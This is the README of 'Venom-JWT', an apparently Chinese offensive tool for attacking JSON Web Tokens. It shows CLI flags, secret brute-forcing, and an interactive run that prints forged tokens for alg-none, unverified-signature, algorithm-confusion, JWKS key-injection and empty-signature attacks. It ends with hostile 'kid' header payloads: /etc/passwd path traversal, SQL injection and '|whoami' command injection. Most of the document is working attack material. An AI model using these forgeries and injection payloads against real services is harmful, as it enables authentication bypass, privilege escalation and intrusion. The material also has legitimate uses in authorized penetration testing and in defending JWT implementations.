# 打包
go mod tidy 
cd cmd
go build.

# 命令行运行
.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
  -df string
        是否使用文件中的payload，默认为空使用角色内置字典（绑定模式2），模式3非空(绑定模式3)
  -em int
        secret加密模式NONE/MD5/16位MD5/BASE64(默认ALL=>0,NONE=>1,MD5=>2,16位MD5=>3,BASE64)
  -fs string
        爆破的默认字典，可以自行按猜测的规则修改(配合-fz 位数使用) (default "abcdefghijklmnopqrstuvwxyz0123456789")
  -fz int
        字符爆破最大字符数（如果字符爆破要指定位数-fz）
  -jbc string
        需要修改的JWT body
  -jm int
        模式1：(未知Secret)修改Payload越权测试 模式2: (先测试模式1)PayloadFuzz越权测试 模式3：secret文本爆破 模式4：secret字符爆破（如果字符爆破要指定位数-fz）模式5：对JWT的Secret进行验证 (default 1)
  -jwt.txt string
        JWT字符串
  -mz int
        字符爆破最小字符数（如果字符爆破要指定位数-mz）,默认为1 (default 1)
  -pem string
        公钥pem的路径(最好绝对路径)
  -pt int
        选择模式：0为默认全执行，1为修改alg为none(CVE-2015-2951)，2为未验证签名导致的越权，3修改非对称密码算法为对称密码算法(CVE-2016-10555) 4为JWKS公钥注入--伪造密钥(CVE-2018-0114) 5 为空签名(CVE-2020-28042)
  -s string
        已知Secret，默认为空
        
# 交互式运行
.\cmd.exe
? 【前置选择】未知secret的情况下修改JWT测试越权，请选择模式:
[·]  [Use arrows to move, type to filter]
> 模式1：(未知Secret)修改Payload越权测试
  模式2：(先测试模式1)PayloadFuzz越权测试
  模式3：secret文本爆破
  模式4：secret字符爆破
  模式5：对JWT的Secret进行验证

? 请输入你的JWT字符串:
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]JWT Header: {"alg":"HS256","typ":"JWT"}
JWT Payload: {"iss":"admin","iat":1701375177,"exp":1701382377,"nbf":1701375177,"sub":"user","jti":"a01707f44f7df8b5cbe5e129a0f5c311"}
JWT Signature: 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8

? 【模式1】【模式2】未知secret的情况下修改JWT测试越权，请选择具体测试模式:
[·]  [Use arrows to move, type to filter]
> 模式0：默认全执行
  模式1：修改alg为none(CVE-2015-2951)
  模式2：未验证签名导致的越权
  模式3：修改非对称密码算法为对称密码算法(CVE-2016-10555)
  模式4：JWKS公钥注入--伪造密钥(CVE-2018-0114)
  模式5：空签名(CVE-2020-28042)

? 您在选择【模式1】【模式2】【模式5】中需要修改JWT的第二部分Payload中JSON字符串进行修改测试越权，请从上一步中复制Payload部分修改完后在此输入:
【模式1】【模式5】示例:{"username":"admin","role":"admin"}
【模式2】示例:{"usernmae":"admin","role":"FUZZ"}
请注意【模式2】中的FUZZ此处为字典替换位置，如果不修改可以直接为enter回车默认使用原Payload

? 请输入您搜集的公钥pem的文件路径(最好为绝对路径)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem

==============没secret修改Payload的越权测试===========

① 大部分情况在alg为HS256时候，可以将JWT改为none的情况(CVE-2015-9235)

[+]【alg为none】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为None】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为NoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为NONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② 未验证签名攻击：修改Payload不校验

[+]【无效签名攻击】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
③ 修改非对称密码算法为对称密码算法(CVE-2016-10555)攻击

[+] 【修改非对称密码算法为对称密码算法】:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiIiLCJraWQiOiIiLCJ1c2UiOiIiLCJuIjoiIiwiZSI6IiJ9fQ.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.h3V6ZHHJ3tt080xFLsA4U1_Z0VT8wkLQD9I2miqIeE0
④ JWKS公钥注入--伪造密钥(CVE-2018-0114)攻击

[+]【伪造密钥】: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJleGFtcGxlQGV4YW1wbGUuY29tIiwidXNlIjoic2lnIiwibiI6IjdLVktGZXpyeTlIclRFUERUcG5Xc2V3cnZQUkNsVE1pZXNGb1BXVlFtOTRMbFpwZzhmT1puMU4zMWNMMWdMUDROTExqek42cmFfRG8tQnJyZEVNMkpSeVVpUjUxUEpKTFUyRG9TdUNZcHlhTk53TG0zNzZEY09td1VyWlJ1SVVyMmlpWWJsVVJwaXl4SVl1SzJuWVIzYzBvalZGdnNJMmluc25PZnhIaTJvWkNWdS1SeDdVQkJIdDFRUUxzUEc4MDh4cVJDTU4yd1EwYklDNVZKWkl3YzhaQnVCNnVEUXRnSFc2UjBKc0hyU1BOVk9wY2NXbHJURlpGQjV0SVhxMUhJLUh1QnZ4WW53LWRYdU1FYWZSczFkQzg5Q3FfQ1FHSnY0M2h4SzZsQlZ4bnNQYWQ2QmpGSGZrSVQxdnk4LTNfSUJMT2J0Vnp0eDQyTmFGTzhzcVZrUSIsImUiOiJBUUFCIn19.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.6yhddpQy3gxajRYCc3HQHGflqLfyN3Ettre95E_u_BYtEl7-6058CKEdQjWT8CIPD7UGz6Mktx43o8Q2R5ILzkro2TkrE7ELW0--CDCf1bot--ho8LCovybl5TZtTGbSfE5F1zPiQCPnJTnQOe438VU7-MykBVFW690B1Ymk6YbmTzVyVS3mgdE252ocGHIyoG8EEPW3u3ZYXcB9rL30-mNLKmkctPHRCE-TXv7CZtLsrwK7SJTPgBh1jKtsdfFEXtpGrHOwaG2OOk5k8CzpIbWN9rt6lp4hlVaX-5Y1WWpPRHsmBCLVytZaJ2iQtLJjaZM659_hK_w5Os6sngyVNA
⑤ 空签名(CVE-2020-28042)攻击

[+]【空签名】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
注意：所有JWT结果都已经保存在运行目录下的result.txt中，可以去重放Intruder测试是否为可行Token

// Java的jjwt测试代码
public class JwtExample {
    private static void disableKeyLengthCheck() throws Exception {
        // 使用反射修改 SignatureAlgorithm.HS256 的 minKeyLength
        Field minKeyLengthField = SignatureAlgorithm.class.getDeclaredField("minKeyLength");
        minKeyLengthField.setAccessible(true);
        minKeyLengthField.set(SignatureAlgorithm.HS256, 0); // 将最小密钥长度设置为 0
    }
    public static void main(String[] args) throws Exception {
        disableKeyLengthCheck();
        // 原始密钥
        String secret = "test@123";


        JwtBuilder jwtBuilder = Jwts.builder().setHeaderParam("kid", "your-key-id").setId("400").setSubject("test").setAudience("{\"abc\":\"123\"}").signWith(SignatureAlgorithm.HS256, secret.getBytes());
        HashMap<String, Object> stringObjectHashMap = new HashMap<>();
        stringObjectHashMap.put("test", "test");
        jwtBuilder.addClaims(stringObjectHashMap);
        System.out.println(jwtBuilder.compact());
    }
}

{  "typ": "JWT",  "kid": "/etc/passwd",  "alg": "HS256"}

{ "typ": "JWT", "kid":"';select 'Mw==' from jwt_keys --"}

{  "typ": "JWT",  "kid": "/path/to/key_file|whoami",  "alg": "HS256"}

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg

eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM

eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.cVkiZiHhiB4galgAh6EB_mrIOd3gPqqPsuXZq9S2MQw